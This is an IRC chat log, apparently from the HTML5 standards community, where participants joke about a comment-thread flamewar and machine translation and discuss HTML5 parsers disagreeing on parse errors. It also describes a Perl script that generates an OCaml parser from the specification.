| 21:51 | <virtuelv_> | the comments mostly seem to be a giant flamewar :) |
| 21:51 | DxSadEagle | looks for laughs |
| 21:52 | <virtuelv_> | and people thinking annevk is a girl :P |
| 21:53 | <annevk> | even in Russia, crap :) |
| 21:54 | <gsnedders> | annevk: is male? oh. |
| 21:54 | <gsnedders> | :P |
| 21:54 | <annevk> | hehe, someone posted a photo to show otherwise |
| 21:54 | <gsnedders> | </sarcasm> |
| 21:54 | <Philip`> | annevk: The cowpath is clear, so you should just pave it |
| 21:54 | <DxSadEagle> | yeah, plus dispute on what exactly google suggest means, and complaints about xhtml2 non-support(?) in Opera. So yes, the oninput bug report is the most relevant part :-) |
| 21:55 | DxSadEagle | laughs at the translation. |
| 21:57 | <DxSadEagle> | virtuelv_: It translates a 'heck' exclamation (which is more like 'crap', etc. in meaning) as features :p |
| 21:59 | <virtuelv_> | DxSadEagle: there's also this: http://google.com/translate_t?hl=en&ie=UTF8&text=Retrieved&langpair=en%7Cde |
| 22:00 | <annevk> | i think we fixed the oninput thingie |
| 22:00 | DxSadEagle | tries babelfish/systran, for comparison |
| 22:01 | <Philip`> | Google Translate seems slightly more open to abuse than other translation services |
| 22:02 | <DxSadEagle> | heh. "Error decoding translated text." |
| 22:02 | <Philip`> | http://www.news.com/8301-13577_3-9857280-36.html |
| 22:18 | <Philip`> | http://james.html5.org/cgi-bin/parsetree/parsetree.py?uri=http://philip.html5.org/misc/fostered-adoption.html vs http://parsetree.validator.nu/?doc=http://philip.html5.org/misc/fostered-adoption.html |
| 22:19 | <Philip`> | They disagree in the number of parse errors |
| 22:19 | <Philip`> | I'm not sure if they're correct according to the spec or not... |
| 22:28 | <hsivonen> | Philip`: yeah, disagreeing on the exact number of tree construction errors is a known thing when # of errors > 0 |
| 22:30 | <Philip`> | http://philip.html5.org/misc/fostered-select.html |
| 22:30 | <Philip`> | HTML5 and html5lib and Validator.nu disagree with all browsers |
| 22:32 | Philip` | would quite like a graph of mode transitions |
| 22:33 | <Dashiva> | Didn't someone make that a few months ago? |
| 22:34 | <annevk> | not for the parser |
| 22:34 | <Philip`> | http://canvex.lazyilluminati.com/misc/tokeniser_states.png ? |
| 22:35 | <Philip`> | That's only tokeniser |
| 22:37 | <Dashiva> | The parser text is too unstructured to generate from? |
| 22:37 | gsnedders | bursts out laughing at Philip` suggesting annevk should pave the cowpath (regarding being a woman) |
| 22:39 | Dashiva | wonders which the photo posted "to show otherwise" was supposed to support |
| 22:39 | <Dashiva> | *which gender |
| 22:39 | <Philip`> | Dashiva: I've already solved that structure problem, by writing a Perl script to translate the HTML/English into OCaml :-) |
| 22:39 | <Dashiva> | So we'll have a parser graph by tomorrow then? |
| 22:40 | <Philip`> | Hopefully sooner than that |
| 22:41 | <Philip`> | ...if I can work out how to write to files |
| 22:42 | gsnedders | needs to choose between chemistry and psychology for the final year of school |
| 22:42 | <Dashiva> | They're basically the same thing |
| 22:43 | <Dashiva> | Just a question of where you want your chemical reactions to be taking place |
| 22:43 | <gsnedders> | And in what way you study the affects of them :) |
| 22:43 | <Philip`> | Does psychology involve some kind of science? |
| 22:45 | <gsnedders> | Philip`: it's rather unclear whether it's doing it as an arts subject or as a science subject, but it looks as if it's a mixture of both |
| 22:51 | <kig> | Philip`: ocaml html parser? |
| 22:52 | <kig> | aah, perl html parser |
| 22:52 | <kig> | nm |
| 22:53 | <gsnedders> | kig: no, a perl parser that creates an OCaml HTML parser |
| 22:53 | <gsnedders> | (the perl parser uses regex to parse the HTML5 spec, IIRC) |
| 22:55 | <Philip`> | It's a Perl script that parses the HTML5 spec to generate an OCaml representation of the script, which can be executed directly in OCaml or can (soon) be compiled down into Perl code to implement an HTML5 parser (and also C++ and JS etc) |
| 22:55 | <Philip`> | s/of the script/of the parser algorithm/ |
| 22:56 | <Philip`> | It's basically just http://lists.w3.org/Archives/Public/public-html/2007Jul/1103.html but for the tree construction stage too |
